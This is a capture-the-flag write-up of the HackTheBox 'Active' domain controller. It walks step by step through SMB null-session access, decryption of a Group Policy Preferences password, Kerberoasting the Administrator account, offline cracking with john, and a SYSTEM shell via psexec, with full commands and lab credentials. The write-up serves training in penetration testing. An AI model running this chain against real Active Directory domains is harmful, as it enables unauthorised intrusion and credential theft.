Active¶
| Field | Value |
|---|---|
| Platform | HackTheBox |
| OS | Windows Server 2008 R2 SP1 (Domain Controller) |
| Difficulty | Easy |
| Initial Vector | SMB null session → GPP credentials (Groups.xml) |
| Privesc | Kerberoasting → Administrator hash cracking → psexec |
Phase 1 — Reconnaissance¶
I started with a fast SYN sweep across all TCP ports to map the exposed attack surface, then ran a focused version and script scan against the discovered ports.
nmap -sS -p- --min-rate 5000 10.129.20.236 -n -Pn -oG ports
nmap -sV -sC -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49166,49168 --min-rate 5000 10.129.20.236 -n -Pn
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-14 20:46:08Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, ...)
445/tcp open microsoft-ds?
464/tcp open tcpwrapped
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, ...)
5722/tcp open msrpc Microsoft Windows RPC
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1
smb2-security-mode: Message signing enabled and required
| Port | Service | Version | Notes |
|---|---|---|---|
| 53 | DNS | Microsoft DNS 6.1.7601 | Windows Server 2008 R2 SP1 |
| 88 | Kerberos | — | Confirms Domain Controller |
| 139 | NetBIOS | — | — |
| 389 | LDAP | — | Domain: active.htb |
| 445 | SMB | — | Signing enabled and required |
| 3268 | LDAP (GC) | — | Global Catalog |
| 47001 | HTTP | Microsoft HTTPAPI 2.0 | Returns 404, not interesting |
Kerberos on port 88 paired with LDAP on 389 confirmed a Domain Controller. The domain name active.htb was leaked directly by the LDAP banner. SMB signing required on port 445 ruled out relay attacks. The clock skew reported by Nmap was only 1 second, but I added the domain to /etc/hosts before continuing since some shares and services only respond to the hostname rather than the bare IP.
echo "10.129.20.236 active.htb" >> /etc/hosts
Phase 2 — Service Enumeration¶
SMB (445)¶
The first step against any exposed SMB service is checking for null or guest session access — older Windows infrastructure, especially Server 2008, is often misconfigured to allow unauthenticated share browsing.
nxc smb 10.129.20.236 -u '' -p '' --shares
The Replication share was readable without any credentials. Non-default shares accessible to unauthenticated sessions are always worth investigating — the name alone was a signal. I connected and explored the directory structure.
smbclient //10.129.20.236/Replication -N
The share mirrored SYSVOL, the domain-wide share responsible for distributing Group Policy Objects. Inside the GPO policy folders I located a Groups.xml file — the target of interest. Group Policy Preferences (GPP) allowed administrators to push local account configurations including passwords across the domain, storing them encrypted with AES-256. Microsoft published the static decryption key in their own MSDN documentation, making every cpassword field in any Groups.xml trivially reversible. MS14-025 patched the ability to create new GPP passwords but did not remove already-deployed files, meaning SYSVOL backups or legacy configurations can still expose credentials long after the patch.
cat Groups.xml
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
userName="active.htb\SVC_TGS"
I decrypted the cpassword value using gpp-decrypt, which implements the known AES key against the base64-encoded ciphertext.
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
Credentials recovered: SVC_TGS : GPPstillStandingStrong2k18.
With valid credentials I re-enumerated accessible shares — ACLs differ significantly between null and authenticated sessions.
nxc smb 10.129.20.236 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares
NETLOGON, Replication, SYSVOL, and Users were all readable. I connected to the Users share to locate the user flag.
smbclient //10.129.20.236/Users -U active.htb/SVC_TGS%'GPPstillStandingStrong2k18'
The flag was found at \SVC_TGS\Desktop\user.txt. Browsing SYSVOL afterwards confirmed that Replication was a direct backup copy of it — the Groups.xml credential was exposed in both locations.
User Enumeration¶
I built a domain user list using three complementary methods, since each surfaces different information and coverage matters before launching credential attacks.
RID brute-force via NetExec cycles through SID RID values over SMB to resolve account names — effective even when the --users flag alone is restricted by policy.
nxc smb 10.129.20.236 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --users --rid-brute | grep SidTypeUser | awk -F'\\' '{print $2}' | awk '{print $1}' > users.txt
rpcclient enumerated group memberships directly to confirm which accounts held elevated privileges.
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.129.20.236
enumdomusers
querygroupmem 0x200 # Domain Admins group RID
queryuser 0x1f4 # Administrator resolved by RID
This confirmed Administrator as the sole Domain Admin, narrowing the escalation target to a single account.
ldapsearch validated the active account set by filtering for enabled users only. The -x flag uses simple authentication rather than SASL, -b sets the search base DN, and -s sub performs a recursive subtree search from that base. The useraccountcontrol:1.2.840.113556.1.4.803:=2 expression applies a bitwise AND OID to match the ACCOUNTDISABLE flag; inverting it with ! returns only accounts where that bit is not set.
ldapsearch -x -H ldap://10.129.20.236 \
-D "SVC_TGS" -w 'GPPstillStandingStrong2k18' \
-b "dc=active,dc=htb" -s sub \
"(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2)))" \
samaccountname | grep sAMAccountName
sAMAccountName: Administrator
sAMAccountName: SVC_TGS
Two enabled accounts in the entire domain — no other users to pivot through.
Kerberos (88)¶
I corrected the system clock before any Kerberos operations. Kerberos silently rejects requests when the client clock drifts more than ±5 minutes from the DC, making this a required step even when skew appears minimal.
timedatectl set-ntp false
ntpdate -u 10.129.20.236
I first checked for AS-REP roastable accounts — users with pre-authentication disabled, which allows requesting a crackable hash without a valid password.
GetNPUsers.py -usersfile users.txt -request -dc-ip 10.129.20.236 'active.htb/'
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User DC$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User SVC_TGS doesn't have UF_DONT_REQUIRE_PREAUTH set
No accounts were vulnerable to AS-REP roasting. With valid credentials available I moved to Kerberoasting, which requests TGS tickets for any account with a registered Service Principal Name (SPN) and cracks them offline since they are encrypted with the account's NTLM hash.
GetUserSPNs.py active.htb/SVC_TGS:'GPPstillStandingStrong2k18' \
-dc-ip 10.129.20.236 -request -outputfile kerberoast_hashes.txt
A $krb5tgs$23$ hash was returned for the Administrator account. Having an SPN registered directly against the built-in Administrator is an unusual misconfiguration — SPNs are typically assigned to dedicated service accounts. Here it made the most privileged account in the domain Kerberoastable by any authenticated user.
Phase 3 — Attack Path¶
Initial Access¶
Access was obtained as SVC_TGS through the GPP credential chain: null SMB session exposed a SYSVOL backup containing Groups.xml, whose cpassword field decrypted via gpp-decrypt to SVC_TGS : GPPstillStandingStrong2k18. This granted authenticated SMB access across four shares and yielded the user flag at \SVC_TGS\Desktop\user.txt.
Privilege Escalation¶
The Kerberoast hash recovered for Administrator during Phase 2 enumeration was cracked offline.
john kerberoast_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Administrator credentials recovered: Administrator : Ticketmaster1968.
I verified the credentials over SMB before attempting remote execution.
nxc smb 10.129.20.236 -u 'Administrator' -p 'Ticketmaster1968'
SMB 10.129.20.236 445 DC [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)
WinRM (5985) was not available for this account. I used psexec.py instead — Impacket's implementation authenticates over SMB, uploads a service binary to a writable share, registers it as a Windows service, and returns a SYSTEM-level interactive shell, making it a reliable fallback when WinRM is not exposed.
psexec.py active.htb/Administrator:'Ticketmaster1968'@10.129.20.236
Shell obtained as NT AUTHORITY\SYSTEM. The root flag was retrieved from C:\Users\Administrator\Desktop\root.txt.
Flags¶
| Flag | Path | Value |
|---|---|---|
| User | \SVC_TGS\Desktop\user.txt |
FLAG{REDACTED} |
| Root | C:\Users\Administrator\Desktop\root.txt |
FLAG{REDACTED} |
Conclusion¶
- A two-phase Nmap scan identified a Windows Server 2008 R2 SP1 Domain Controller with SMB, LDAP, and Kerberos exposed; the domain
active.htbwas leaked directly by the LDAP banner. - A null SMB session revealed read access to the
Replicationshare — an unauthenticated backup copy ofSYSVOLcontaining Group Policy Preferences files. Groups.xmlinside the share held acpasswordentry forSVC_TGS;gpp-decryptrecovered the plaintext, yielding SVC_TGS : GPPstillStandingStrong2k18 and the user flag via theUsersshare.- Authenticated enumeration via NetExec RID brute-force,
rpcclient, andldapsearchconfirmed two active domain accounts and establishedAdministratoras the sole Domain Admin. - AS-REP roasting found no vulnerable accounts; Kerberoasting returned a TGS hash for
Administrator, whose SPN registration was itself a misconfiguration making the highest-privilege account directly crackable by any authenticated user. - John cracked the hash to Administrator : Ticketmaster1968;
psexec.pydelivered anNT AUTHORITY\SYSTEMshell and the root flag.
The system fell because an unauthenticated copy of SYSVOL was left exposed over SMB, a pre-MS14-025 GPP credential was never rotated after the patch, and the domain Administrator account had a Service Principal Name registered against it — collapsing the path from zero credentials to Domain Admin into a single, fully automated chain with no exploitation required.